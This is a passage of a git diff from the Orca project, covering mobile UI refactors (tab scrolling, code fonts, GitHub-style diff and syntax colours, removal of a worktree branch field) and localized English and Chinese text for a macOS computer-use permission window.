+      tabStripOffsetRef.current = nextOffset
+      tabStripRef.current?.scrollTo({ x: nextOffset, animated })
+    }
+  }, [])
+
+  useEffect(() => {
+    const id = requestAnimationFrame(() => scrollActiveTabIntoView(activeSessionTabId, true))
+    return () => cancelAnimationFrame(id)
+  }, [activeSessionTabId, scrollActiveTabIntoView])
+
   const executionHost = useWorkspaceExecutionHost()
   useEffect(() => {
     if (hostId && worktreeId) {
@@ -109,6 +171,9 @@ export function useMobileSessionKeyboardState(scope: MobileSessionKeyboardScope)
     notifyTerminalFrameWidth,
     notifyKeyboardVisibility,
     notifyTerminalCellBoxChange,
+    scrollActiveTabIntoView,
+    holdTabStripReveal,
+    cancelHeldTabStripReveal,
     handleDeleteCustomKey,
     handleManageShortcuts
   }
diff --git a/mobile/src/test-support/rpc-recording/adapters/codex-reset-credit-mount-adapters.ts b/mobile/src/test-support/rpc-recording/adapters/codex-reset-credit-mount-adapters.ts
index 7f7c6d78df0..f1825228dcd 100644
--- a/mobile/src/test-support/rpc-recording/adapters/codex-reset-credit-mount-adapters.ts
+++ b/mobile/src/test-support/rpc-recording/adapters/codex-reset-credit-mount-adapters.ts
@@ -1,7 +1,9 @@
 import { mountFixture } from '../recorder-fixture-shape'
 import type { operationModuleLoader } from '../operation-module-loader'
 import type { MountAdapter } from '../recording-scenario'
-import type { AccountsSnapshot } from '../../../components/accounts-snapshot'
+import type { AccountsSnapshot } from '../../../accounts/accounts-snapshot'
+import type * as AccountsSnapshotModule from '../../../accounts/accounts-snapshot'
+import type * as CodexResetCreditModule from '../../../accounts/usage/codex-reset-credit'
 
 const ACCOUNT_REVISION = 1_700_000_000_000
 
@@ -34,13 +36,11 @@ export function codexResetCreditMountAdapters(
 ): Record<string, MountAdapter> {
   return {
     'accounts.codex-reset-credit': ({ client }) => {
-      const credit = modules.load<typeof import('../../../components/codex-reset-credit')>(
-        'mobile/src/components/codex-reset-credit.ts'
+      const credit = modules.load<typeof CodexResetCreditModule>(
+        'mobile/src/accounts/usage/codex-reset-credit.ts'
       )
       const snapshot = modules
-        .load<typeof import('../../../components/accounts-snapshot')>(
-          'mobile/src/components/accounts-snapshot.ts'
-        )
+        .load<typeof AccountsSnapshotModule>('mobile/src/accounts/accounts-snapshot.ts')
         .decodeAccountsSnapshot(CODEX_ACCOUNTS)
       let settled: unknown = null
       return {
diff --git a/mobile/src/theme/mobile-code-font.ios.ts b/mobile/src/theme/mobile-code-font.ios.ts
new file mode 100644
index 00000000000..08958808e0d
--- /dev/null
+++ b/mobile/src/theme/mobile-code-font.ios.ts
@@ -0,0 +1,2 @@
+// iOS has no family named `monospace`; it falls back to the proportional system face.
+export const codeFontFamily: string = 'Menlo'
diff --git a/mobile/src/theme/mobile-code-font.ts b/mobile/src/theme/mobile-code-font.ts
new file mode 100644
index 00000000000..fff01e62848
--- /dev/null
+++ b/mobile/src/theme/mobile-code-font.ts
@@ -0,0 +1,2 @@
+// Android's generic family is its system code font; .ios.ts and .web.ts pick theirs.
+export const codeFontFamily: string = 'monospace'
diff --git a/mobile/src/theme/mobile-code-font.web.ts b/mobile/src/theme/mobile-code-font.web.ts
new file mode 100644
index 00000000000..142e76ba365
--- /dev/null
+++ b/mobile/src/theme/mobile-code-font.web.ts
@@ -0,0 +1,3 @@
+// WebKit draws generic `monospace` as Courier; name the system code fonts first.
+export const codeFontFamily: string =
+  'ui-monospace, "SF Mono", SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace'
diff --git a/mobile/src/theme/mobile-theme.ts b/mobile/src/theme/mobile-theme.ts
index 963ad2f3995..7d53f8422eb 100644
--- a/mobile/src/theme/mobile-theme.ts
+++ b/mobile/src/theme/mobile-theme.ts
@@ -1,3 +1,5 @@
+import { codeFontFamily } from './mobile-code-font'
+
 // Desktop's main.css tokens per scheme; keep mobile on these instead of introducing inline colors.
 
 export type MobileColorScheme = 'light' | 'dark'
@@ -55,24 +57,32 @@ const darkColors = {
   statusPurple: '#d8b4fe',
   gitDecorationAdded: '#81b88b',
   gitDecorationDeleted: '#c74e39',
-  // Desktop's `--diff-*-ground` and `--diff-*-gutter` mixes.
-  diffAddedBg: 'rgba(129, 184, 139, 0.16)',
-  diffDeletedBg: 'rgba(199, 78, 57, 0.18)',
-  diffAddedGutter: 'rgba(129, 184, 139, 0.3)',
-  diffDeletedGutter: 'rgba(199, 78, 57, 0.32)',
+  // GitHub's (Primer) diff colours, Kelvin's choice for every phone diff: row ground, line-number cell over it,
+  // the +/− sign, unchanged line numbers, and the blue "unchanged lines" fold band.
+  diffAddedBg: 'rgba(46, 160, 67, 0.15)',
+  diffDeletedBg: 'rgba(248, 81, 73, 0.13)',
+  diffAddedGutter: 'rgba(63, 185, 80, 0.3)',
+  diffDeletedGutter: 'rgba(248, 81, 73, 0.3)',
+  diffAddedSign: '#3fb950',
+  diffDeletedSign: '#f85149',
+  diffLineNumber: '#6e7681',
+  diffFoldBg: 'rgba(56, 139, 253, 0.1)',
+  diffFoldGutter: 'rgba(56, 139, 253, 0.22)',
+  diffFoldText: '#4493f8',
   // Desktop's `--chat-diff-*`: decoration mixed toward foreground for tinted rows.
   chatDiffAdded: '#a5ccac',
   chatDiffRemoved: '#d68273',
 
-  // Monaco's `vs-dark`; function and meta come from VS Code Dark+, which Monaco lacks.
-  syntaxComment: '#608b4e',
-  syntaxKeyword: '#569cd6',
-  syntaxString: '#ce9178',
-  syntaxNumber: '#b5cea8',
-  syntaxType: '#3dc9b0',
-  syntaxFunction: '#dcdcaa',
-  syntaxVariable: '#74b0df',
-  syntaxMeta: '#c586c0',
+  // GitHub's Primer dark syntax palette (prettylights); type is its built-in orange, tag covers keys and tag names.
+  syntaxComment: '#8b949e',
+  syntaxKeyword: '#ff7b72',
+  syntaxString: '#a5d6ff',
+  syntaxNumber: '#79c0ff',
+  syntaxType: '#ffa657',
+  syntaxFunction: '#d2a8ff',
+  syntaxVariable: '#ffa657',
+  syntaxMeta: '#79c0ff',
+  syntaxTag: '#7ee787',
 
   // Terminal WebView background (Tokyonight) — separate from app chrome
   terminalBg: '#1a1b26'
@@ -121,22 +131,29 @@ const lightColors: MobilePalette = {
   statusPurple: '#9333ea',
   gitDecorationAdded: '#587c0c',
   gitDecorationDeleted: '#ad0707',
-  diffAddedBg: 'rgba(88, 124, 12, 0.13)',
-  diffDeletedBg: 'rgba(173, 7, 7, 0.11)',
-  diffAddedGutter: 'rgba(88, 124, 12, 0.26)',
-  diffDeletedGutter: 'rgba(173, 7, 7, 0.22)',
+  diffAddedBg: '#dafbe1',
+  diffDeletedBg: '#ffebe9',
+  diffAddedGutter: '#aceebb',
+  diffDeletedGutter: '#ffcecb',
+  diffAddedSign: '#1a7f37',
+  diffDeletedSign: '#cf222e',
+  diffLineNumber: '#6e7781',
+  diffFoldBg: '#ddf4ff',
+  diffFoldGutter: 'rgba(84, 174, 255, 0.4)',
+  diffFoldText: '#0969da',
   chatDiffAdded: '#415a0b',
   chatDiffRemoved: '#7c0808',
 
-  // Monaco's `vs`; function and meta from VS Code Light+.
-  syntaxComment: '#008000',
-  syntaxKeyword: '#0000ff',
-  syntaxString: '#a31515',
-  syntaxNumber: '#098658',
-  syntaxType: '#008080',
-  syntaxFunction: '#795e26',
-  syntaxVariable: '#001188',
-  syntaxMeta: '#af00db',
+  // GitHub's Primer light syntax palette (prettylights).
+  syntaxComment: '#59636e',
+  syntaxKeyword: '#cf222e',
+  syntaxString: '#0a3069',
+  syntaxNumber: '#0550ae',
+  syntaxType: '#953800',
+  syntaxFunction: '#8250df',
+  syntaxVariable: '#953800',
+  syntaxMeta: '#0550ae',
+  syntaxTag: '#116329',
 
   terminalBg: '#1a1b26'
 }
@@ -208,7 +225,7 @@ export const typography = {
   titleSize: 18,
   bodySize: 14,
   metaSize: 12,
-  monoFamily: 'monospace' as const
+  monoFamily: codeFontFamily
 } as const
 
 // One press and one disabled look for every control; fills on press use colors.translucentFill.
diff --git a/mobile/src/worktree/agent-row-display.ts b/mobile/src/worktree/agent-row-display.ts
index 5fc384ec91d..5969f45afc0 100644
--- a/mobile/src/worktree/agent-row-display.ts
+++ b/mobile/src/worktree/agent-row-display.ts
@@ -88,7 +88,7 @@ export function agentDisplayLabel(row: RuntimeWorktreeAgentRow, now: number): st
 
 // Mirror desktop lastEnteredDoneAt: date main-agent failures independently while subagents remain active.
 export function agentRowTimeAt(
-  row: AgentRowVerdictSource & Pick<RuntimeWorktreeAgentRow, 'stateStartedAt'>
+  row: Pick<RuntimeWorktreeAgentRow, 'state' | 'interrupted' | 'mainAgent' | 'stateStartedAt'>
 ): number {
   if (row.state !== 'done' && row.mainAgent && agentVerdictDisplayMark(row) === 'failed') {
     return row.mainAgent.stateStartedAt
diff --git a/mobile/src/worktree/session-worktree-record-reply-schema.ts b/mobile/src/worktree/session-worktree-record-reply-schema.ts
index 6ac8c10d1b8..c5b807e093c 100644
--- a/mobile/src/worktree/session-worktree-record-reply-schema.ts
+++ b/mobile/src/worktree/session-worktree-record-reply-schema.ts
@@ -14,7 +14,6 @@ export const sessionWorktreeRecordSchema = z
         repo: salvagedOptional('repo', z.string().nullable()),
         path: salvagedOptional('path', z.string()),
         hostId: salvagedOptional('hostId', z.string()),
-        branch: salvagedOptional('branch', z.string().nullable()),
         diffComments: z.unknown().optional()
       })
     )
@@ -23,11 +22,6 @@ export const sessionWorktreeRecordSchema = z
     (
       reply
     ):
-      | (WorktreeDisplayNameSource & {
-          path?: string
-          hostId?: string
-          branch?: string | null
-          diffComments?: unknown
-        })
+      | (WorktreeDisplayNameSource & { path?: string; hostId?: string; diffComments?: unknown })
       | undefined => reply.worktree
   )
diff --git a/mobile/src/worktree/use-live-worktree-name.ts b/mobile/src/worktree/use-live-worktree-name.ts
index 3a09dcb5650..4501b3a1922 100644
--- a/mobile/src/worktree/use-live-worktree-name.ts
+++ b/mobile/src/worktree/use-live-worktree-name.ts
@@ -30,8 +30,6 @@ export type LiveWorktreeName = {
   /** Where the worktree lives on its host; null until the host's record arrives. */
   path: string | null
   hostId: string | null
-  /** The checked-out branch without refs/heads/; null for folders, detached heads and until the record arrives. */
-  branch: string | null
   resolution: WorktreeShowResolution
 }
 
@@ -50,7 +48,6 @@ export function useLiveWorktreeName({
     name: string
     path?: string | null
     hostId?: string | null
-    branch?: string | null
   }>(() => ({ worktreeId, name: routeNameHint }))
   // Key verdicts by route so a previous workspace’s deletion cannot escape into the new one.
   const [resolved, setResolved] = useState<{
@@ -128,16 +125,13 @@ export function useLiveWorktreeName({
           if (liveName) {
             const path = worktree?.path || null
             const hostId = worktree?.hostId ?? null
-            // Match desktop formatBranchName by hiding the refs/heads/ prefix.
-            const branch = worktree?.branch?.replace(/^refs\/heads\//, '') || null
             setWorktreeName((current) =>
               current.worktreeId === worktreeId &&
               current.name === liveName &&
               current.path === path &&
-              current.hostId === hostId &&
-              current.branch === branch
+              current.hostId === hostId
                 ? current
-                : { worktreeId, name: liveName, path, hostId, branch }
+                : { worktreeId, name: liveName, path, hostId }
             )
           }
           hasSuccessfulRefresh = true
@@ -203,19 +197,12 @@ export function useLiveWorktreeName({
   )
 
   if (isFloatingWorkspace) {
-    return {
-      name: getFloatingWorkspaceTitle(),
-      path: null,
-      hostId: 'local',
-      branch: null,
-      resolution: 'unknown'
-    }
+    return { name: getFloatingWorkspaceTitle(), path: null, hostId: 'local', resolution: 'unknown' }
   }
   return {
     name: worktreeName.worktreeId === worktreeId ? worktreeName.name : routeNameHint,
     path: worktreeName.worktreeId === worktreeId ? (worktreeName.path ?? null) : null,
     hostId: worktreeName.worktreeId === worktreeId ? (worktreeName.hostId ?? null) : null,
-    branch: worktreeName.worktreeId === worktreeId ? (worktreeName.branch ?? null) : null,
     resolution: resolved.worktreeId === worktreeId ? resolved.resolution : 'unknown'
   }
 }
diff --git a/native/computer-use-macos/Sources/OrcaComputerUseMacOS/main.swift b/native/computer-use-macos/Sources/OrcaComputerUseMacOS/main.swift
index a1541e50c4e..082516b941e 100644
--- a/native/computer-use-macos/Sources/OrcaComputerUseMacOS/main.swift
+++ b/native/computer-use-macos/Sources/OrcaComputerUseMacOS/main.swift
@@ -3155,15 +3155,18 @@ private final class AgentRuntime: NSObject, NSApplicationDelegate {
 
 private final class PermissionRuntime: NSObject, NSApplicationDelegate {
     private let initialPermission: PermissionKind?
+    private let copy: PermissionWindowCopy
     private var windowController: PermissionWindowController?
 
-    init(initialPermission: PermissionKind?) {
+    init(initialPermission: PermissionKind?, copy: PermissionWindowCopy) {
         self.initialPermission = initialPermission
+        self.copy = copy
     }
 
     func applicationDidFinishLaunching(_ notification: Notification) {
         windowController = PermissionWindowController(
             initialPermission: initialPermission,
+            copy: copy,
             terminateWhenDragAssistantCloses: initialPermission != nil
         )
         if let initialPermission {
@@ -3189,25 +3192,36 @@ private final class PermissionWindowController: NSWindowController {
     private var dragAssistant: PermissionDragAssistantController?
     private var dragAssistantPermission: PermissionKind?
     private let initialPermission: PermissionKind?
+    private let copy: PermissionWindowCopy
     private let terminateWhenDragAssistantCloses: Bool
     private var permissionStatusRefresh: PermissionStatusRefreshCoordinator?
 
-    convenience init(initialPermission: PermissionKind? = nil, terminateWhenDragAssistantCloses: Bool = false) {
+    convenience init(
+        initialPermission: PermissionKind? = nil,
+        copy: PermissionWindowCopy,
+        terminateWhenDragAssistantCloses: Bool = false
+    ) {
         let window = NSWindow(
             contentRect: NSRect(x: 0, y: 0, width: 300, height: 315),
             styleMask: [.titled, .closable, .miniaturizable, .fullSizeContentView],
             backing: .buffered,
             defer: false
         )
-        window.title = "Enable Orca Computer Use"
+        window.title = copy.windowTitle
         window.titleVisibility = .hidden
         window.titlebarAppearsTransparent = true
         window.backgroundColor = PermissionPalette.background
         window.center()
         window.isReleasedWhenClosed = false
-        self.init(window: window, initialPermission: initialPermission, terminateWhenDragAssistantCloses: terminateWhenDragAssistantCloses)
+        self.init(
+            window: window,
+            initialPermission: initialPermission,
+            copy: copy,
+            terminateWhenDragAssistantCloses: terminateWhenDragAssistantCloses
+        )
         window.contentView = PermissionView(
             frame: window.contentView?.bounds ?? .zero,
+            copy: copy,
             showDragAssistant: { [weak self] permission in
                 self?.showDragAssistant(for: permission)
             },
@@ -3217,8 +3231,14 @@ private final class PermissionWindowController: NSWindowController {
         )
     }
 
-    init(window: NSWindow?, initialPermission: PermissionKind?, terminateWhenDragAssistantCloses: Bool) {
+    init(
+        window: NSWindow?,
+        initialPermission: PermissionKind?,
+        copy: PermissionWindowCopy,
+        terminateWhenDragAssistantCloses: Bool
+    ) {
         self.initialPermission = initialPermission
+        self.copy = copy
         self.terminateWhenDragAssistantCloses = terminateWhenDragAssistantCloses
         super.init(window: window)
         permissionStatusRefresh = PermissionStatusRefreshCoordinator(
@@ -3240,6 +3260,7 @@ private final class PermissionWindowController: NSWindowController {
         dragAssistantPermission = permission
         dragAssistant = PermissionDragAssistantController(
             permission: permission,
+            copy: copy,
             fallbackVisibleFrame: window?.screen?.visibleFrame,
             onRefreshPermissions: { [weak self] in
                 self?.refreshPermissions()
@@ -3322,39 +3343,39 @@ private enum PermissionKind: CaseIterable {
         }
     }
 
-    var dragInstruction: String {
+    func dragInstruction(copy: PermissionWindowCopy) -> String {
         switch self {
         case .accessibility:
-            "Drag Orca Computer Use into the list above to allow Accessibility."
+            copy.dragAccessibilityInstruction
         case .screenshots:
-            "Drag Orca Computer Use into the list above to allow Screenshots."
+            copy.dragScreenshotsInstruction
         }
     }
 
-    var title: String {
+    func title(copy: PermissionWindowCopy) -> String {
         switch self {
         case .accessibility:
-            "Accessibility"
+            copy.accessibilityTitle
         case .screenshots:
-            "Screenshots"
+            copy.screenshotsTitle
         }
     }
 
-    var detail: String {
+    func detail(copy: PermissionWindowCopy) -> String {
         switch self {
         case .accessibility:
-            "Read and control app interfaces"
+            copy.accessibilityDetail
         case .screenshots:
-            "Capture windows for visual state"
+            copy.screenshotsDetail
         }
     }
 
-    var icon: NSImage {
+    func icon(copy: PermissionWindowCopy) -> NSImage {
         switch self {
         case .accessibility:
-            NSImage(systemSymbolName: "figure", accessibilityDescription: "Accessibility") ?? NSImage()
+            NSImage(systemSymbolName: "figure", accessibilityDescription: copy.accessibilityTitle) ?? NSImage()
         case .screenshots:
-            NSImage(systemSymbolName: "camera.viewfinder", accessibilityDescription: "Screen Recording") ?? NSImage()
+            NSImage(systemSymbolName: "camera.viewfinder", accessibilityDescription: copy.screenRecordingDescription) ?? NSImage()
         }
     }
 
@@ -3380,13 +3401,20 @@ private enum PermissionKind: CaseIterable {
 
 private final class PermissionView: NSView {
     private let appURL = Bundle.main.bundleURL
+    private let copy: PermissionWindowCopy
     private let showDragAssistant: (PermissionKind) -> Void
     private let close: () -> Void
     private var contentStack: NSStackView?
     private var contentConstraints: [NSLayoutConstraint] = []
     private var permissionStatus: PermissionStatusSnapshot?
 
-    init(frame frameRect: NSRect, showDragAssistant: @escaping (PermissionKind) -> Void, close: @escaping () -> Void) {
+    init(
+        frame frameRect: NSRect,
+        copy: PermissionWindowCopy,
+        showDragAssistant: @escaping (PermissionKind) -> Void,
+        close: @escaping () -> Void
+    ) {
+        self.copy = copy
         self.showDragAssistant = showDragAssistant
         self.close = close
         super.init(frame: frameRect)
@@ -3428,15 +3456,15 @@ private final class PermissionView: NSView {
         let ready = !checking && missingPermissions.isEmpty
 
         let titleText = checking
-            ? "Checking Computer Use"
-            : (ready ? "Computer Use is Ready" : "Enable Orca Computer Use")
+            ? copy.checkingTitle
+            : (ready ? copy.readyTitle : copy.enableTitle)
         let title = label(titleText, size: 22, weight: .bold)
         let subtitle = label(
             checking
-                ? "Checking Accessibility and Screenshots."
+                ? copy.checkingSubtitle
                 : (ready
-                    ? "Orca can use local apps when you ask."
-                    : "Grant permissions so Orca can use apps when you ask."),
+                    ? copy.readySubtitle
+                    : copy.permissionSubtitle),
             size: 12,
             weight: .regular
         )
@@ -3497,13 +3525,13 @@ private final class PermissionView: NSView {
         row.layer?.backgroundColor = PermissionPalette.card.cgColor
         row.translatesAutoresizingMaskIntoConstraints = false
 
-        let iconView = NSImageView(image: permission.icon)
+        let iconView = NSImageView(image: permission.icon(copy: copy))
         iconView.symbolConfiguration = NSImage.SymbolConfiguration(pointSize: 30, weight: .regular)
         iconView.contentTintColor = .controlAccentColor
         iconView.translatesAutoresizingMaskIntoConstraints = false
 
-        let titleLabel = label(permission.title, size: 13, weight: .bold)
-        let detailLabel = label(permission.detail, size: 11, weight: .regular)
+        let titleLabel = label(permission.title(copy: copy), size: 13, weight: .bold)
+        let detailLabel = label(permission.detail(copy: copy), size: 11, weight: .regular)
         detailLabel.textColor = PermissionPalette.secondaryText
         let textStack = NSStackView(views: [titleLabel, detailLabel])
         textStack.orientation = .vertical
@@ -3511,7 +3539,7 @@ private final class PermissionView: NSView {
         textStack.spacing = 4
         textStack.translatesAutoresizingMaskIntoConstraints = false
 
-        let button = NSButton(title: "Allow", target: nil, action: nil)
+        let button = NSButton(title: copy.allowButton, target: nil, action: nil)
         button.bezelStyle = .rounded
         button.controlSize = .regular
         button.font = NSFont.systemFont(ofSize: 13, weight: .semibold)
@@ -3521,8 +3549,8 @@ private final class PermissionView: NSView {
             .foregroundColor: NSColor.white,
             .font: NSFont.systemFont(ofSize: 13, weight: .semibold)
         ]
-        button.attributedTitle = NSAttributedString(string: "Allow", attributes: buttonTitleAttributes)
-        button.attributedAlternateTitle = NSAttributedString(string: "Allow", attributes: buttonTitleAttributes)
+        button.attributedTitle = NSAttributedString(string: copy.allowButton, attributes: buttonTitleAttributes)
+        button.attributedAlternateTitle = NSAttributedString(string: copy.allowButton, attributes: buttonTitleAttributes)
         let target = ButtonTarget(action)
         button.target = target
         button.action = #selector(ButtonTarget.run)
@@ -3550,7 +3578,7 @@ private final class PermissionView: NSView {
     }
 
     private func doneButton() -> NSView {
-        let button = NSButton(title: "Done", target: nil, action: nil)
+        let button = NSButton(title: copy.doneButton, target: nil, action: nil)
         button.bezelStyle = .rounded
         button.controlSize = .regular
         button.font = NSFont.systemFont(ofSize: 13, weight: .semibold)
@@ -3560,8 +3588,8 @@ private final class PermissionView: NSView {
             .foregroundColor: NSColor.white,
             .font: NSFont.systemFont(ofSize: 13, weight: .semibold)
         ]
-        button.attributedTitle = NSAttributedString(string: "Done", attributes: buttonTitleAttributes)
-        button.attributedAlternateTitle = NSAttributedString(string: "Done", attributes: buttonTitleAttributes)
+        button.attributedTitle = NSAttributedString(string: copy.doneButton, attributes: buttonTitleAttributes)
+        button.attributedAlternateTitle = NSAttributedString(string: copy.doneButton, attributes: buttonTitleAttributes)
         let target = ButtonTarget(close)
         button.target = target
         button.action = #selector(ButtonTarget.run)
@@ -3598,6 +3626,7 @@ private final class PermissionDragAssistantController: NSWindowController {
 
     convenience init(
         permission: PermissionKind,
+        copy: PermissionWindowCopy,
         fallbackVisibleFrame: NSRect?,
         onRefreshPermissions: @escaping () -> Void,
         onClose: @escaping () -> Void
@@ -3608,7 +3637,7 @@ private final class PermissionDragAssistantController: NSWindowController {
             backing: .buffered,
             defer: false
         )
-        window.title = "Drag Orca Computer Use"
+        window.title = copy.dragWindowTitle
         window.backgroundColor = .clear
         window.isOpaque = false
         window.isReleasedWhenClosed = false
@@ -3627,7 +3656,11 @@ private final class PermissionDragAssistantController: NSWindowController {
             onRefreshPermissions: onRefreshPermissions,
             onClose: onClose
         )
-        window.contentView = PermissionDragAssistantView(permission: permission, appURL: Bundle.main.bundleURL) { [weak self] in
+        window.contentView = PermissionDragAssistantView(
+            permission: permission,
+            copy: copy,
+            appURL: Bundle.main.bundleURL
+        ) { [weak self] in
             self?.dismissFromCloseButton()
         }
     }
@@ -3902,11 +3935,18 @@ private final class PermissionDragAssistantController: NSWindowController {
 
 private final class PermissionDragAssistantView: NSView {
     private let permission: PermissionKind
+    private let copy: PermissionWindowCopy
     private let appURL: URL
     private let close: () -> Void
 
-    init(permission: PermissionKind, appURL: URL, close: @escaping () -> Void) {
+    init(
+        permission: PermissionKind,
+        copy: PermissionWindowCopy,
+        appURL: URL,
+        close: @escaping () -> Void
+    ) {
         self.permission = permission
+        self.copy = copy
         self.appURL = appURL
         self.close = close
         super.init(frame: .zero)
@@ -3927,7 +3967,10 @@ private final class PermissionDragAssistantView: NSView {
         let closeButton = NSButton(title: "", target: nil, action: nil)
         closeButton.bezelStyle = .shadowlessSquare
         closeButton.isBordered = false
-        closeButton.image = NSImage(systemSymbolName: "xmark", accessibilityDescription: "Close")
+        closeButton.image = NSImage(
+            systemSymbolName: "xmark",
+            accessibilityDescription: copy.closeButtonDescription
+        )
         closeButton.imagePosition = .imageOnly
         closeButton.contentTintColor = PermissionPalette.secondaryText
         closeButton.controlSize = .small
@@ -3937,7 +3980,7 @@ private final class PermissionDragAssistantView: NSView {
         closeButton.action = #selector(ButtonTarget.run)
         objc_setAssociatedObject(closeButton, "orca-action", target, .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
 
-        let instruction = label(permission.dragInstruction, size: 12, weight: .semibold)
+        let instruction = label(permission.dragInstruction(copy: copy), size: 12, weight: .semibold)
         instruction.textColor = PermissionPalette.primaryText
         instruction.maximumNumberOfLines = 2
 
@@ -4360,9 +4403,12 @@ private func runAgent(socketPath: String, token: String?) {
 }
 
 @MainActor
-private func runPermissionCheck(initialPermission: PermissionKind? = nil) {
+private func runPermissionCheck(
+    initialPermission: PermissionKind? = nil,
+    copy: PermissionWindowCopy
+) {
     let app = NSApplication.shared
-    let delegate = PermissionRuntime(initialPermission: initialPermission)
+    let delegate = PermissionRuntime(initialPermission: initialPermission, copy: copy)
     app.delegate = delegate
     // Why: setup must foreground reliably; the long-running agent path stays accessory-only.
     app.setActivationPolicy(.regular)
@@ -4486,6 +4532,11 @@ private func writeAll(_ data: Data, to fd: Int32) -> Bool {
 }
 
 let arguments = Array(CommandLine.arguments.dropFirst())
+let permissionLocale = arguments.firstIndex(of: "--locale").flatMap { index -> String? in
+    let valueIndex = index + 1
+    return valueIndex < arguments.count ? arguments[valueIndex] : nil
+}
+let permissionCopy = PermissionWindowCopy(localeIdentifier: permissionLocale)
 if arguments.first == "--agent" {
     guard arguments.count >= 2 else {
         fputs("usage: orca-computer-use-macos --agent <socket-path> --token-file <token-path>\n", stderr)
@@ -4505,9 +4556,12 @@ if arguments.first == "--agent" {
     }
     runAgent(socketPath: arguments[1], token: token)
 } else if arguments.first == "--permissions" {
-    runPermissionCheck()
+    runPermissionCheck(copy: permissionCopy)
 } else if arguments.first == "--permission" {
-    runPermissionCheck(initialPermission: PermissionKind.parse(arguments.dropFirst().first))
+    runPermissionCheck(
+        initialPermission: PermissionKind.parse(arguments.dropFirst().first),
+        copy: permissionCopy
+    )
 } else if arguments.first == "--permission-status" {
     printPermissionStatus()
 } else if arguments.first == "--permission-status-file" {
diff --git a/native/computer-use-macos/Sources/OrcaComputerUseMacOSCore/PermissionWindowCopy.swift b/native/computer-use-macos/Sources/OrcaComputerUseMacOSCore/PermissionWindowCopy.swift
new file mode 100644
index 00000000000..ec8711d2873
--- /dev/null
+++ b/native/computer-use-macos/Sources/OrcaComputerUseMacOSCore/PermissionWindowCopy.swift
@@ -0,0 +1,116 @@
+import Foundation
+
+public struct PermissionWindowCopy: Equatable, Sendable {
+    public let windowTitle: String
+    public let checkingTitle: String
+    public let readyTitle: String
+    public let enableTitle: String
+    public let checkingSubtitle: String
+    public let readySubtitle: String
+    public let permissionSubtitle: String
+    public let accessibilityTitle: String
+    public let accessibilityDetail: String
+    public let screenshotsTitle: String
+    public let screenshotsDetail: String
+    public let screenRecordingDescription: String
+    public let allowButton: String
+    public let doneButton: String
+    public let dragWindowTitle: String
+    public let dragAccessibilityInstruction: String
+    public let dragScreenshotsInstruction: String
+    public let closeButtonDescription: String
+
+    public init(localeIdentifier: String?) {
+        let normalized = (localeIdentifier ?? "")
+            .trimmingCharacters(in: .whitespacesAndNewlines)
+            .lowercased()
+            .replacingOccurrences(of: "_", with: "-")
+        if normalized == "zh" || normalized.hasPrefix("zh-cn") || normalized.hasPrefix("zh-hans") {
+            self = Self.chinese
+        } else {
+            self = Self.english
+        }
+    }
+
+    private static let english = PermissionWindowCopy(
+        windowTitle: "Enable Orca Computer Use",
+        checkingTitle: "Checking Computer Use",
+        readyTitle: "Computer Use is Ready",
+        enableTitle: "Enable Orca Computer Use",
+        checkingSubtitle: "Checking Accessibility and Screenshots.",
+        readySubtitle: "Orca can use local apps when you ask.",
+        permissionSubtitle: "Grant permissions so Orca can use apps when you ask.",
+        accessibilityTitle: "Accessibility",
+        accessibilityDetail: "Read and control app interfaces",
+        screenshotsTitle: "Screenshots",
+        screenshotsDetail: "Capture windows for visual state",
+        screenRecordingDescription: "Screen Recording",
+        allowButton: "Allow",
+        doneButton: "Done",
+        dragWindowTitle: "Drag Orca Computer Use",
+        dragAccessibilityInstruction: "Drag Orca Computer Use into the list above to allow Accessibility.",
+        dragScreenshotsInstruction: "Drag Orca Computer Use into the list above to allow Screenshots.",
+        closeButtonDescription: "Close"
+    )
+
+    private static let chinese = PermissionWindowCopy(
+        windowTitle: "启用 Orca 计算机使用功能",
+        checkingTitle: "正在检查计算机使用权限",
+        readyTitle: "计算机使用功能已就绪",
+        enableTitle: "启用 Orca 计算机使用功能",
+        checkingSubtitle: "正在检查辅助功能和屏幕截图权限。",
+        readySubtitle: "当你提出要求时，Orca 可以使用本地应用。",
+        permissionSubtitle: "授予权限，以便 Orca 在你提出要求时使用应用。",
+        accessibilityTitle: "辅助功能",
+        accessibilityDetail: "读取并控制应用界面",
+        screenshotsTitle: "屏幕截图",
+        screenshotsDetail: "捕获窗口以识别视觉状态",
+        screenRecordingDescription: "屏幕录制",
+        allowButton: "允许",
+        doneButton: "完成",
+        dragWindowTitle: "拖入 Orca Computer Use",
+        dragAccessibilityInstruction: "将 Orca Computer Use 拖入上方列表以允许辅助功能。",
+        dragScreenshotsInstruction: "将 Orca Computer Use 拖入上方列表以允许屏幕截图。",
+        closeButtonDescription: "关闭"
+    )
+
+    private init(
+        windowTitle: String,
+        checkingTitle: String,
+        readyTitle: String,
+        enableTitle: String,
+        checkingSubtitle: String,
+        readySubtitle: String,
+        permissionSubtitle: String,
+        accessibilityTitle: String,
+        accessibilityDetail: String,
+        screenshotsTitle: String,
+        screenshotsDetail: String,
+        screenRecordingDescription: String,
+        allowButton: String,
+        doneButton: String,
+        dragWindowTitle: String,
+        dragAccessibilityInstruction: String,
+        dragScreenshotsInstruction: String,
+        closeButtonDescription: String
+    ) {
+        self.windowTitle = windowTitle
+        self.checkingTitle = checkingTitle
+        self.readyTitle = readyTitle
+        self.enableTitle = enableTitle
+        self.checkingSubtitle = checkingSubtitle
+        self.readySubtitle = readySubtitle
+        self.permissionSubtitle = permissionSubtitle
+        self.accessibilityTitle = accessibilityTitle
+        self.accessibilityDetail = accessibilityDetail
+        self.screenshotsTitle = screenshotsTitle
+        self.screenshotsDetail = screenshotsDetail
+        self.screenRecordingDescription = screenRecordingDescription
+        self.allowButton = allowButton
+        self.doneButton = doneButton
+        self.dragWindowTitle = dragWindowTitle
+        self.dragAccessibilityInstruction = dragAccessibilityInstruction
+        self.dragScreenshotsInstruction = dragScreenshotsInstruction
+        self.closeButtonDescription = closeButtonDescription
+    }
+}
diff --git a/skill-guides/orca-cli.md b/skill-guides/orca-cli.md
index fcedd851a73..ddd4193d06f 100644
--- a/skill-guides/orca-cli.md
+++ b/skill-guides/orca-cli.md
@@ -28,9 +28,9 @@ Prefer `--json` for agent-driven calls. If the CLI is missing, say so explicitly
 
